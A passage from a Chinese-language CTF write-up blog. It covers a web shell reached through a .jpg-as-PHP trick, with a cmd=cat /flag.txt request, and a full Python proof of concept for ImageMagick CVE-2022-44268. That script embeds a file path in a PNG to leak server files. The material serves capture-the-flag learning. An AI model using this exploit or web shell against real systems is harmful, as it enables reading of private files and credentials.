這會讓 Apache 將 .jpg 副檔名的檔案視為 PHP,並以 PHP interpreter 執行 —— 也就是把 JPG「當成 PHP 執行」。
此時再次請求 /shell.jpg?cmd=cat%20/flag.txt 就能成功取得 flag。

Flag

osu{php_is_too_3asy}

web/scorepost-generator by WoodMan

題目說明

let’s see your crazy plays

解題

Dockerfile 中的一條關鍵內容:

1
2
3
# HMMMMMMMMMMMMMMMMMMMMMMMMM......
FROM vulhub/imagemagick:7.1.0-49
# what an interesting image to use...

從這部分可以辨識出一個 imagemagick 已知漏洞:CVE-2022-44268

CVE-2022-44268: > When ImageMagick processes PNG files it parses tEXt chunks. If a tEXt chunk contains a profile keyword that points to a file path, ImageMagick will read that file and embed its contents into the output PNG’s Raw profile type field. The file contents are stored in the PNG metadata as hex-encoded data.

scorepost.js 的圖片生成邏輯:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
...
const baseArgs = [
bgImagePath,
'-crop', cropGeometry,
'+repage',
'-resize', '1920x1080!',
'-brightness-contrast', '-20,-20',
'-colorspace', 'RGB',
SKELETON_PATH,
'-geometry', '+0+0',
'-composite',
'-font', FONT_PATH,
'-fill', 'white',
'-pointsize', '45',
'-annotate', '+10+55', title,
'-pointsize', '30',
'-annotate', '+13+90', creator,
'-annotate', '+13+124', player,
basePath
];

await execFileAsync('convert', baseArgs, { maxBuffer: 50 * 1024 * 1024 });
...

接下來可以編寫 Proof-of-Concept (PoC) 程式來生成惡意圖片。
也可以使用別人寫好的 PoC,在這邊我是自己寫幾個腳本後利用 AI 幫我整合。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#!/usr/bin/env python3
import struct
import zlib
import re
import argparse

def create_exploit_png(target_file, output_file):
png = b'\x89PNG\r\n\x1a\n'

ihdr = struct.pack('>IIBBBBB', 1, 1, 8, 2, 0, 0, 0)
png += struct.pack('>I', 13)
png += b'IHDR' + ihdr
png += struct.pack('>I', zlib.crc32(b'IHDR' + ihdr))

text_data = b'profile\x00' + target_file.encode()
png += struct.pack('>I', len(text_data))
png += b'tEXt' + text_data
png += struct.pack('>I', zlib.crc32(b'tEXt' + text_data))

idat = zlib.compress(b'\x00\xff\xff\xff')
png += struct.pack('>I', len(idat))
png += b'IDAT' + idat
png += struct.pack('>I', zlib.crc32(b'IDAT' + idat))

png += struct.pack('>I', 0)
png += b'IEND'
png += struct.pack('>I', zlib.crc32(b'IEND'))

with open(output_file, 'wb') as f:
f.write(png)

print(f"[+] Created: {output_file} -> {target_file}")

def extract_flag_from_png(filename):
with open(filename, 'rb') as f:
data = f.read()

pos = 8

while pos < len(data):
if pos + 8 > len(data):
break

length = struct.unpack('>I', data[pos:pos+4])[0]
chunk_type = data[pos+4:pos+8]
chunk_data = data[pos+8:pos+8+length]

if chunk_type in [b'tEXt', b'zTXt', b'iTXt']:
null_pos = chunk_data.find(b'\x00')
if null_pos != -1:
text = chunk_data[null_pos+1:].decode('latin1', errors='ignore')
hex_match = re.findall(r'([0-9a-fA-F]{32,})', text)

if hex_match:
for hex_str in hex_match:
try:
decoded = bytes.fromhex(hex_str)
print(decoded.decode('utf-8', errors='ignore'))
except:
pass

pos += 12 + length

def main():
parser = argparse.ArgumentParser(description='CVE-2022-44268 Exploit')
subparsers = parser.add_subparsers(dest='mode')

create_parser = subparsers.add_parser('create')
create_parser.add_argument('-t', '--target', required=True)
create_parser.add_argument('-o', '--output', default='exploit.png')

extract_parser = subparsers.add_parser('extract')
extract_parser.add_argument('-i', '--input', required=True)

args = parser.parse_args()

if args.mode == 'create':
create_exploit_png(args.target, args.output)
elif args.mode == 'extract':
extract_flag_from_png(args.input)
else:
parser.print_help()

if __name__ == '__main__':
main()

接著在惡意圖片準備好後,我們需要找到完整的利用流程。
app.js 可看到必須上傳兩個檔案:oszosr,也就是 osu 的地圖檔與錄影檔。
因此我們需要建立一個地圖檔,將惡意圖片放入其中,並在 .osu 檔中加入以下項目:

1
2
3
4
...
[Events]
0,0,"bg.png",0,0
...

接著遊玩一次該地圖並匯出錄影檔 (F2)。
最後上傳地圖檔與錄影檔,取得生成的圖片,再將圖片丟入 PoC 取得 flag。

Flag

osu{but_h0w_do_1_send_my_fc_now??}

  • Title: osu!gaming CTF 2025 Writeup
  • Author: 0xWh4tH4pp3n3d
  • Created at : 2025-11-15 14:51:45
  • Updated at : 2025-12-06 16:35:21
  • Link: https://blog.lce-lab.dev/2025/11/15/osu-gaming-CTF-2025-Writeup/
  • License: This work is licensed under CC BY-NC-SA 4.0.